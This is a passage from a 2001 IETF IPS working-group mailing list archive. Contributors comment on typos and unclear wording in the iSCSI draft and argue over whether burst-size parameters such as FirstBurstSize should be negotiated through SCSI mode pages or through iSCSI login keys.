that were not completed (with status) when the connection is closed completely can be restarted on a new connection if the target supports in session command recovery. All commands that were not completed (with status) and acknowledged when the connection is closed completely can be restarted on a new connection if the target supports connection recovery." The above paragraph seems to be duplicated. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 21:38:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21245 for ; Tue, 25 Sep 2001 21:38:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0mUv09978 for ips-outgoing; Tue, 25 Sep 2001 20:48:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0mSP09974 for ; Tue, 25 Sep 2001 20:48:28 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950789; Tue, 25 Sep 2001 17:48:29 -0700 Message-ID: <3BB126CF.C902B971@redswitch.com> Date: Tue, 25 Sep 2001 17:52:31 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: "When all the text data yet to be sent [fit in] a single Text response the Target Transfer Tag of the response is set to 0xffffffff and the internal bookmark associated with the Initiator Task Tag is reset." - A minor typo: I would suggest a change from [fit in] to [fits into]. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 21:41:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21279 for ; Tue, 25 Sep 2001 21:41:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q0fCO09578 for ips-outgoing; Tue, 25 Sep 2001 20:41:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q0fAP09573 for ; Tue, 25 Sep 2001 20:41:11 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950787; Tue, 25 Sep 2001 17:41:12 -0700 Message-ID: <3BB12519.7CE1D5FC@redswitch.com> Date: Tue, 25 Sep 2001 17:45:13 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: 3.8.4 Target Transfer Tag on P 76: "There is no protocol rule about Target Transfer Tag, but it is assumed that it is used to tag the response data to the target (alone or in combination with the LUN)." Why do we not specify the protocol for the use of the Target Tranafer Tag? Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 23:03:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23121 for ; Tue, 25 Sep 2001 23:03:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q13ds10812 for ips-outgoing; Tue, 25 Sep 2001 21:03:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q13bP10807 for ; Tue, 25 Sep 2001 21:03:37 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950809; Tue, 25 Sep 2001 18:03:38 -0700 Message-ID: <3BB12A5C.AA2B949D@redswitch.com> Date: Tue, 25 Sep 2001 18:07:40 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 12 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Gentle People: 3.16 SNACK Request on Page 99: "Any SNACK requesting a numbered-response, Data or R2T that was not sent by the [target] MUST be rejected with a reason code of "Invalid SNACK"." From the statements previous to this paragraph I beleive the SNACK is sent by the Initiator. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 23:03:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23133 for ; Tue, 25 Sep 2001 23:03:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q152q10903 for ips-outgoing; Tue, 25 Sep 2001 21:05:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q150P10897 for ; Tue, 25 Sep 2001 21:05:01 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950811; Tue, 25 Sep 2001 18:05:02 -0700 Message-ID: <3BB12AB0.7078CC11@redswitch.com> Date: Tue, 25 Sep 2001 18:09:04 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 13 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit "3. iSCSI PDU Formats All multi-byte integers that are specified in formats defined in this document are to be represented in network byte order (i.e., big endian). Any field appearing in this document assumes that the most significant byte is the lowest numbered byte and the most significant bit (within byte or field) is the highest numbered bit unless specified otherwise. Any bits not defined MUST be set to zero. Any reserved fields and values MUST be 0 unless specified otherwise. [All]" The [All] seems to be a typo. Thomas Dineen From owner-ips@ece.cmu.edu Tue Sep 25 23:04:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23146 for ; Tue, 25 Sep 2001 23:04:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q1Ax711225 for ips-outgoing; Tue, 25 Sep 2001 21:10:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q1AvP11219 for ; Tue, 25 Sep 2001 21:10:57 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1950817; Tue, 25 Sep 2001 18:10:58 -0700 Message-ID: <3BB12C14.606B74EE@redswitch.com> Date: Tue, 25 Sep 2001 18:15:00 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu, Thomas Dineen Subject: iSCSI 07-95 Comment 1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit GentlePeople: "3.2.1.1 X The X bit is used as a Retry/Restart indicator for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." "3.2.1.2 I The I bit is used as immediate delivery marker for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." - Reading the above paragraphs I do not get a sence of whether the X and I bits are active for a one or zero state. Please specify the logical function of both the X and I bits for both the one and zero states. Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 26 00:37:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24536 for ; Wed, 26 Sep 2001 00:37:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q3MxL18502 for ips-outgoing; Tue, 25 Sep 2001 23:22:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q3MpP18494 for ; Tue, 25 Sep 2001 23:22:51 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id XAA119954; Tue, 25 Sep 2001 23:20:30 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8Q3MoV178460; Tue, 25 Sep 2001 21:22:50 -0600 X-Priority: 1 (High) Importance: High Subject: Re: iSCSI:Comment 1 To: Thomas Dineen Cc: ips@ece.cmu.edu, Thomas Dineen X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 20:22:05 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 09:22:50 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Please place the prefix "iSCSI:" in all your messages. Also, anyone that answers, please add the iSCSI: to your messages. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Thomas Dineen @ece.cmu.edu on 09/25/2001 04:21:37 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu, Thomas Dineen cc: Subject: Comment 1 GentlePeople: "3.2.1.1 X The X bit is used as a Retry/Restart indicator for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." "3.2.1.2 I The I bit is used as immediate delivery marker for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." - Reading the above paragraphs I do not get a sence of whether the X and I bits are active for a one or zero state. Please specify the logical function of both the X and I bits for both the one and zero states. Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 26 00:41:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24579 for ; Wed, 26 Sep 2001 00:41:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q3vLh20485 for ips-outgoing; Tue, 25 Sep 2001 23:57:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q3vJP20480 for ; Tue, 25 Sep 2001 23:57:20 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id XAA118714; Tue, 25 Sep 2001 23:54:53 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8Q3vDV166176; Tue, 25 Sep 2001 21:57:13 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iscsi : mode sense/select vs. login keys. To: Santosh Rao Cc: ips X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 20:56:27 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 09:57:12 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk In addition to what Santosh said, I do not believe the SCSI Class Drivers will be creating these SCSI Mode Page Select/Sense commands for the Connect/Disconnect Mode Pages, nor do I believe anything higher then the SCSI Class Drivers will be doing that either. Therefore, it seems rather strange for the iSCSI initiator to be creating SCSI commands to control these Connect/Disconnect Mode Pages. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Santosh Rao @ece.cmu.edu on 09/25/2001 04:37:10 PM Sent by: owner-ips@ece.cmu.edu To: ips cc: Subject: iscsi : mode sense/select vs. login keys. All, In order to give the group some further perspective on the in-effeciencies of using a mode sense/select based mechanism for negotiating iscsi parameters (especially, numerical parameters like MaximumBurstSize & FirstBurstSize), I've outlined further below the steps an initiator would need to take to negotiate iscsi numerical parameters through mode select/sense. Note that performance aggresive initiators would like to negotiate FirstBurstSize to as high a value as possible in order to boost performance on their WRITE I/Os. Thus, the below negotiation would be required, for at least, FirstBurstSize, if one were to use mode select/sense. Steps involved in mode select/sense negotiation : ==================================== When initiator needs to only read the target's mode page settings ----------------------------------------------- 1) Issue a mode sense(page control = "current values") for the desired mode page. When initiator needs to negotiate mode page settings (i.e. read and modify settings) -------------------------------------------------------- 1) Issue a mode sense(page control = "changable values") for the desired mode page. This allows the initiator to determine which parameters it is allowed to change. If none of the parameters are changable, then, the target responds with a CHECK CONDITION scsi status to the mode sense. (sense key = "illegal request", asc = "invalid field in cdb"). In this case, initiator issues a mode sense(page control = "current values") to determine the target's current settings for those parameters. 2) If the initiator could determine that the parameters are changable, it then issues a mode select(sp = 1) or mode select(sp = 0) for the desired mode page. (sp = save page. depending on whether the initiators wishes to save the mode page change). 3) The target may not support the exact value requested by the initiator. It may then choose to perform parameter rounding and sets the parameter to a rounded value. It then fails the mode select with a CHECK CONDITION scsi status (sense key = "recovered error", asc = "rounded parameter"). The initiator on seeing the above CHECK CONDITION would need to perform another mode sense("page control = current values") to determine the final negotiated value chosen by the target. The target may also choose not to implement parameter rounding. In this case, it would respond to the mode select from the initiator with a CHECK CONDITION scsi status with (sense key = "illegal request", asc = "invalid field in parameter list"). In this case, the initiator has failed to change the target's current parameters and it would need to perform a mode sense(page control = "current values") to determine the current page setting. As a short-cut, the initiator may choose to skip step (1) and attempt to change a parameter and then figure out the result the hard way. Note that in this case if any 1 field was non-changable, then, all other parameter negotiations within that page would also be failed. As you can see for yourself from the above, to negotiate any numerical parameter, the initiator will have to perform 2 mode sense operations and 1 mode select operation per mode page. The above steps are a very cumbersome & ineffecient negotiation technique, compared to the alternative of a simple 1-step handshake that the login key negotiation provides. An added advantage is that usage of login keys implies no additional on-the-wire SCSI commands for the purpose of parameter negotiation. Given the above inefficiencies, I suggest that iscsi skip the use of mode select/sense technique for negotiation and stick to login keys as far as possible. In any case, all of these mode pages have transport specific semantics and iscsi is within its rights to not use these mode pages. Comments ? Thanks, Santosh "Mallikarjun C." wrote: > Julian and Santosh, > > Whether FirstBurstSize should be a text key or not, > IMHO, is (mostly) dependent on the current implementations. > Santosh rightly pointed out several drawbacks of > mandating a new set of mode select/sense operations > that are totally iSCSI-specific since the legacy SCSI > stack (class drivers, services/midlayer) will have no > clue about them. OTOH, if most of today's SCSI stacks > _do_ perform this mode parameter manipulation in disconnect- > reconnect mode page, that would be a strong argument to > leave FirstBurstSize as a mode page parameter. > > A somewhat larger issue is whether this should be a nexus > parameter of a given I-T nexus (which login keys enable), > or not (which a *typical* shared mode page would preclude). > While I cannot identify an obvious advantage of using > a different FirstBurstSize for each I-T nexus in a > target, the fact that the login key enables either shared > or per-nexus parameter in a given target implementation > seems to tilt the balance in favor of a login key. > > Regards. > -- > Mallikarjun > > Mallikarjun Chadalapaka > Networked Storage Architecture > Network Storage Solutions Organization > MS 5668 Hewlett-Packard, Roseville. > cbm@rose.hp.com > > Santosh Rao wrote: > > > > Julian Satran wrote: > > > > > I can sympathize with you wanting to use most of the parameters in iSCSI - > > > but the values are in fact restrictions that SCSI places on iSCSI. > > > > Julian, > > > > I'm confused by your response. > > > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > > "The parameters appropriate to each protocol and their interpretation for that protocol may > > be specified in the individual protocol documents". > > > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for the pSCSI > > transport. Thus, iscsi is within its rights to declare this field as reserved and attach no > > meaning to it in the mode page. The FirstBurstSize can be negotiated during iscsi login > > through a login key. > > > > > Nevertheless the discussion is rather academic because SCSI can hand those > > > parameters to iSCSI. > > > > Again, I'm confused by your response. The reasons I'm suggesting the use of a login key > > instead of the mode page method are : > > > > * More accurate scope (applies only to this I-T nexus). > > > > * More optimal negotiation and reduced overhead in the establishment of the I-T nexus. (2 > > less SCSI commands per I-T nexus establishment.). > > > > * Enables faster I/O scan times due to lesser on-the-wire activity during I-T nexus > > establishment. > > > > * Allows less room for error in the I-T nexus establishment (no possiblity of failure to > > establish I-T nexus due to mode sense/select command failure). > > > > * Avoids mode select wars that can occur when target uses shared mode pages. > > > > * Simpler initiator implementations since they can avoid embedding SCSI command set > > knowledge as well as code to build/parse SCSI commands. Also, they can avoid extra code > > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC="mode parameters > > changed") in order to re-issue a mode sense to determine new values for FirstBurstSize. > > > > * Less code to interact with SCSI ULP application client to co-ordinate the mode page > > values b/n the ULP & LLP. > > > > * Can use un-solicited data from the very first scsi command in the session. > > > > I don't consider any of the above reasons to be academic and would like to know which ones > > among the above do you believe are academic and why ? > > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > > handling this type of negotiation dynamically over several connections. > > > > This is exactly the kind of stuff we don't need and should actually be trying to avoid. What > > good does dynamically changing FirstBurstSize serve ? Dynamically changing FirstBurstSize > > would only be achieved with least side-effects if : > > 1) The mode select implementation on target is not using shared mode pages. > > 2) The initiator has quiesced I/O prior to issuing the mode select for the change. > > > > Neither of the above 2 conditions would typically apply and any dynamic change of > > FirstBurstSize would only cause initiators to see a bunch of side-effects such as : > > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to "not enough > > un-solicited data". > > b) UA CHECK CONDITION for "mode parameters changed". > > > > In the interests of simplification and avoiding disruption of active I/O, such modifications > > must be avoided as far as possible. One way to achieve that is to use a login key and make > > it LO. > > > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > > > Once again, I'm perplexed by your response. I'm not saying that text mode negotiation is the > > reason I suggest moving this to a login key. The main objective is to isolate such > > negotiation within the iscsi layer in an iscsi specific PDU that is a part of the iscsi > > login process. > > > > Hope you will consider all of the above factors. > > > > Thanks, > > Santosh > > > > ps : [I wonder if there are any others on this list who care to voice their opinion on this > > issue. (??). ] From owner-ips@ece.cmu.edu Wed Sep 26 06:13:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11867 for ; Wed, 26 Sep 2001 06:13:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8Q9DpT16256 for ips-outgoing; Wed, 26 Sep 2001 05:13:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8Q9DmP16252 for ; Wed, 26 Sep 2001 05:13:49 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id LAA13728 for ; Wed, 26 Sep 2001 11:13:38 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8Q9DTS201954 for ; Wed, 26 Sep 2001 11:13:29 +0200 Subject: RE: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 26 Sep 2001 12:13:50 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 26/09/2001 12:13:29 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sanjeev, The point I was trying to make escaped your attention completely. The 2 parameters we are talking about have little bearing on the buffer/cache management. They are here to control multiplexing. A target LU will release the bus/transport (and leave room in the cache) for the use of other LUs. That is why bursts are limited in size. Julo "Sanjeev Bhagat To: John Hufferd/San Jose/IBM@IBMUS, Julian (TRIPACE/Zoete Satran/Haifa/IBM@IBMIL rmeer)" cc: ips@ece.cmu.edu settings. 25-09-01 21:04 Please respond to "Sanjeev Bhagat (TRIPACE/Zoete rmeer)" Hello John I agree with you completely. The confusion going over here is that the Buffer/Cache manager that you are dscribing below is being thought over as a part of SCSI realm but i donot agree with that. Specially the line from Julian "It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type," It is not at all a SCSI issue. An iSCSI target has to bring in the data in proper order so that it can be transferred into LU properly. The only association that can be thought of with a SCSI layer is that relative speed of transfer of data from network and the transfer speed of data from SCSI bus to SCSI device. If that is considered any sort of association then it is an association of both the transport layer and SCSI Bus. The reason I suggested to put all the SCSI Mode page parameter into login keys is that the iSCSI target doesnt have to scan the commands lying within. It doesnt have to poll whether a mode select command is going or not?? This will make the implementation of the box described below by you much easier. However if we think of a complete SCSI target which has box and SCSI built in will not have to face this problem. I would like to know the reasoning as to why is it not better to keep all the SCSI mode page parameters not as login keys. The two main benefits of putting FirstBurstSize only into login keys are the following 1. the the initiator will have to make one command less to target during login operation( it will not have to do any mode sense) 2. no snooping of command by black box implementation if we put all other mode page parameters into login keys they will benefit from both the above two things and it is also important to note that putting alone Firstburstsize into login keys will not make any command less because the initiator anyway has to make a mode sense commannd for other parameters of SCSI mode page. Thanks, Sanjeev -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 25, 2001 7:54 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > 